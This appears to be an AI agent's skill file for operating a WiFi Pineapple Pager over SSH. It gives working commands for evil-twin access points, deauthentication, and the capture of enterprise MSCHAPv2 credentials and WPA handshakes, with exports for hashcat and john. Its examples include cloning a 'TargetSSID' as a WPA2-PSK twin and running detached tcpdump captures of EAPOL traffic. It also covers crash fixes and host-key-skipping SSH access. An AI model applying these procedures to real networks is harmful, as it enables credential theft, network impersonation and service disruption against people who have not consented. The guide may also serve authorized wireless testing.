--- name: pineapple-control description: Use when operating a WiFi Pineapple (Pager / FENRIS / PineAP firmware) over SSH — accessing the device, understanding its radios/processes, controlling it via PINEAPPLE_* / _pineap / hostapd_cli, fixing pineapd crashes (SSID-pool SIGSEGV), or persistently configuring APs and evil twins via /etc/config/wireless. Pair with the wifi-deauth skill for deauth/handshake attack work. --- # Pineapple Control (Pager / FENRIS) Field-verified operating guide for the WiFi Pineapple Pager (FENRIS firmware, kernel 6.6, OpenWrt, BusyBox). Read this before touching the device; the wifi-deauth skill covers the attack methodology. ## Hardware / radios | Radio | Hardware | Interfaces | Notes | |---|---|---|---| | phy0 | internal `mt76_wmac` (2.4 GHz) | `wlan0wpa` (AP), `wlan0open` (AP), `wlan0mon` (monitor), `wlan0` (managed uplink) | `wlan0mon` DOES see the Pineapple's own TX | | phy1 | USB `mt7921u` (5 GHz) | `wlan1wpa` (AP), `wlan1mon` (monitor) | `wlan1mon` does NOT see own TX (beacon offload) — see Captures | Naming: `wlan0*` = 2.4 GHz, `wlan1*` = 5 GHz. A phy's channel is held by its AP interface (`iw dev`); the monitor on that phy is pinned to it. The UI "Evil WPA AP" feature is hardwired to `wlan0wpa` (2.4 GHz); a 5 GHz evil twin must be made via `/etc/config/wireless`. **The uplink pins phy0 (field-verified 2026-08-19):** while the device's own client uplink (`wlan0` STA) is associated, it holds phy0 on the association channel (here ch1). `wlan0mon` therefore CANNOT hop off ch1, and 2.4 GHz APs on other channels are invisible to recon — even when `hop=1` is set. Also, pineapd's per-interface hop is a no-op unless `hopspeed` is set on that interface (`pineapd.wlan0mon.hopspeed='fast'`). Workarounds: run the 2.4 GHz evil twin on the phy's pinned channel (clients rescan all channels on reconnect and will find it), or accept ch1-only 2.4 GHz recon while the uplink is up. ## pineapd crash stack (Pager 24.10.1 — all five verified) 1. **SSID-pool broadcast** — segfaults pineapd (~15 s cadence, `ra=004e1237`). Keep `pineapd.@ssidpool[0].disable=1`. 2. **wlan2mon** — a 6 GHz monitor this hardware never creates; hopping it segfaults pineapd. Keep `pineapd.wlan2mon.disable=1` + `hop=0`. 3. **wlan1mon 6 GHz fast-hop** — stalls the command socket; the stock daemon's watchdog then SIGTERMs pineapd every ~30 s ("[PineAp] Error writing"). Keep `pineapd.wlan1mon.bands=5`. 4. **Refilled pool list** — collect (`autossidpool`) refills the pool; a large list crashes even with broadcast off. Clear `pineapd.@ssidpool[0].ssid` when pineapd fails. 5. **Active socket polling** — pinging pineapd from a health loop collides with the stock daemon's writes. Health checks must be passive (`pidof`). The Mark VIII health monitor enforces all five automatically; `/api/health` reports state. An evil twin / enterprise deploy pauses `wlan1mon` hop and resumes it on stop. ## Standalone PineAPE enterprise engine (field-verified) The stock daemon's enterprise AP config generation is BROKEN on this build (it hardcodes `eap_server_erp=1`, which hostapd rejects with "Invalid IEEE 802.1X configuration (no EAP authenticator configured)"). Working engine, run entirely by Mark VIII on phy1 outside the daemon's interface set: ```sh iw phy phy1 interface add wlan1ent type managed iw dev wlan1ent set type ap && ip link set wlan1ent up # hostapd config: interface=wlan1ent, ieee8021x=1, eap_server=1, # eap_user_file=/root/loot/eap_users ("*" MSCHAPV2 "dummy"), # wpa_key_mgmt=WPA-EAP, ctrl_interface=/var/run/hostapd-mk8 /usr/sbin/hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf # enable karma + PineAPE + auth capture on the INSTANCE's ctrl socket: hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineap_enable hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_enable hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_auth_enable ``` Captured credentials flow to pineapd's socket and land in `hostap_basic` / `hostap_chalresp` in recon.db. Mark VIII exposes them as EAP identities + MSCHAPv2 (RADIUS inner-auth equivalent) at `/api/pineap/enterprise/radius`, with hashcat `-m 5500` and john `netntlm` export. The Pager is an EAP terminator (PineAPE), not a UDP/1812 RADIUS proxy. Tear down: kill the pidfile pid, `iw dev wlan1ent del`, resume hop. ## Access ```sh sshpass -p '' ssh -o StrictHostKeyChecking=no root@ # lab unit: 172.16.52.1 ``` - Transient `Permission denied` after bursts of sessions = SSH rate limiting — pause ~10 s and retry. - Keep sessions short; run each logical step in its own command. One combined session for multi-step attacks (see wifi-deauth). - BusyBox: `pkill`, `nohup`, `sshpass` are MISSING. Use `killall`/`kill $(pidof ...)`, `setsid`, and local sshpass. `od`/`hexdump`/`cat -n` absent — use `strings`/`grep`/`head -c`. ## What runs on the box | Process | Managed by | Purpose | Socket | |---|---|---|---| | `/pineapple/pineapple` (ELF UI backend) | procd (`/etc/init.d/pineapplepager`) | Web UI; supervises/reconverges hostapd | — | | `/usr/sbin/pineapd` | procd (auto-restarts on crash) | recon, deauth, SSID pool, handshake logging | `/tmp/pineap_sock` | | `/usr/sbin/hostapd` (single global instance) | standalone (PPID 1) | all AP interfaces | `/var/run/hostapd/global`, per-iface under `/var/run/hostapd/` | | `wpa_supplicant` | procd | device's own client uplink (`wlan0`) | — | ## Command surface - `PINEAPPLE_*` (e.g. `PINEAPPLE_DEAUTH_CLIENT`) = symlinks to `hak5cmd`, which talks to pineapd over `/tmp/pineap_sock`. Do NOT `curl 127.0.0.1/api/...` — the HTTP API is not on :80. - `_pineap` = pineapd control CLI (`PING`, `RECON APS|DEVICES|ISEARCH format=json`, `INTERFACE LIST/SET`, `SSIDPOOL ...`, `DEAUTH`, `EXAMINE`, `PCAP START/STOP`). Direct use can desync the UI — prefer `PINEAPPLE_*` where one exists. - `hostapd_cli -i status|get_config|disable|enable` (per-iface) and `-p /var/run/hostapd -i global` (global). This is a Karma-patched build. - `iw`, `sqlite3`, `tcpdump` (full build: `-G`/`-W` rotate supported), `logread`, `dmesg`. ## Config & persistence (the hard-won rules) - `/etc/config/wireless` is the SOURCE OF TRUTH for APs (`config wifi-iface` sections). `wifi reload` (or `wifi up radioN`) applies it. - Editing `/var/run/hostapd-phy*.conf` is TRANSIENT. `hostapd_cli ... reload_config`/`reload` do NOT re-read the file. `hostapd_cli raw ADD/REMOVE` misfires (treats the config path as the ctrl dir). Killing hostapd triggers the UI backend to restart it (`-g /var/run/hostapd/global`, no configs) and the ubus path reconverges from `/etc/config/wireless` — reverting your change. - **To change an AP persistently:** back up first, edit `/etc/config/wireless`, then `wifi reload`. Example — convert a 5 GHz AP to a WPA2-PSK evil twin: ```sh cp /etc/config/wireless /etc/config/wireless.bak # wifi-iface section: ssid 'TargetSSID', encryption 'psk2', key '' wifi reload hostapd_cli -i wlan1wpa get_config # verify ssid + key_mgmt=WPA-PSK ``` ## pineapd health & the crash-loop - Symptom: `PINEAPPLE_*` / deauth returns `could not connect to pineap: dial unix /tmp/pineap_sock: connect: connection refused`, and `logread` shows `do_page_fault(): sending SIGSEGV to pineapd for invalid read access from 00000004`. - Cause observed: the **SSID-pool broadcast** (68 SSIDs loaded from `/etc/config/pineapd`) segfaults pineapd on a ~15 s-to-minutes cadence; procd respawns it. - Fix: `_pineap SSIDPOOL DISABLE && /etc/init.d/pineapd restart`, verify with `_pineap PING` (PONG) and that the SIGSEGV count in `logread` stops climbing. The SSID pool is separate from hostapd evil twins — disabling it does not affect them. - `PING` to `/tmp/pineap_sock` failing while the socket file exists = stale socket (pineapd down/restarting). ## Recon DB `pineapd` runs `--recon --reconpath /root/recon/ --handshakepath /root/loot/handshakes`. pineapd holds the DB — always read via the read-only URI with a timeout: ```sh timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \ "SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40" ``` Tables: `ssid` (ssid is BLOB — `CAST(ssid AS TEXT)`; has bssid/channel/freq/signal/encryption/hidden), `wifi_device` (mac/freq/signal/packets), `scan`, `handshake` (beacon/hs1..hs4 — captures for any nearby AP), `hostap_handshake` (mic/nonce/eapol — captures for the Pineapple's OWN evil-twin APs), plus `hostap_basic`/`hostap_chalresp` (PineAPE enterprise creds) and `hostap_client`. `RECON CLIENTS` does not exist — use `RECON DEVICES`. ## Captures - Raw monitor capture (802.11+radiotap; EAPOL is cleartext on the wire): ```sh tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap ``` - **Own-TX visibility differs by radio.** On phy0 (2.4 GHz) `wlan0mon` captures the Pineapple's own beacons/EAPOL; on phy1 (5 GHz) `wlan1mon` does NOT see the Pineapple's own TX. A 5 GHz evil twin's M1/M3 will be invisible to the monitor — rely on `hostap_handshake`/`/root/loot/handshakes` for own-AP 4-ways. Client uplink frames (M2/M4, assoc) ARE visible on both. - PineAP's `PCAP START` export is management/control frames only — never rely on it for handshakes. - Standing capture that survives SSH disconnect (detaches via `setsid`, rotates 5 min, keeps 48 files ≈ 4 h; `/mmc` had ~3.3 GB free): ```sh setsid tcpdump -i wlan1mon -s 3000 -G 300 -W 48 -w '/root/loot/pcap/nc_%Y%m%d_%H%M%S.cap' >/dev/null 2>&1 info` for ssid/type/channel; `hostapd_cli -i status` (state=ENABLED) and `get_config`. Static `tx_packets` on the netdev does NOT mean not-beaconing — beacons are driver-offloaded; check `dmesg` for driver errors instead. - Deauth channel targeting: `PINEAPPLE_DEAUTH_CLIENT` injects via the phy of the configured inject interface (here `wlan1mon`, 5 GHz) regardless of the channel argument — a "ch1" deauth goes out on 5 GHz. To reach 2.4 GHz clients the inject interface must be phy0. Verify on the wire with a monitor capture (SA=spoofed BSSID). - `hostapd_cli -p /var/run/hostapd -i global interface` lists managed interfaces. ## Teardown & hygiene - Stop captures: `killall tcpdump`; kill only the standing capture's PID if you must keep others. - Leave `/root/loot/**` pcap artifacts as evidence; scp them off before leaving. - If you disabled the SSID pool to fix a crash, tell the user it stays disabled (re-enabling re-crashes pineapd). - Report persistent config changes you made (e.g. an AP converted in `/etc/config/wireless`) so the user knows their device differs from the UI default.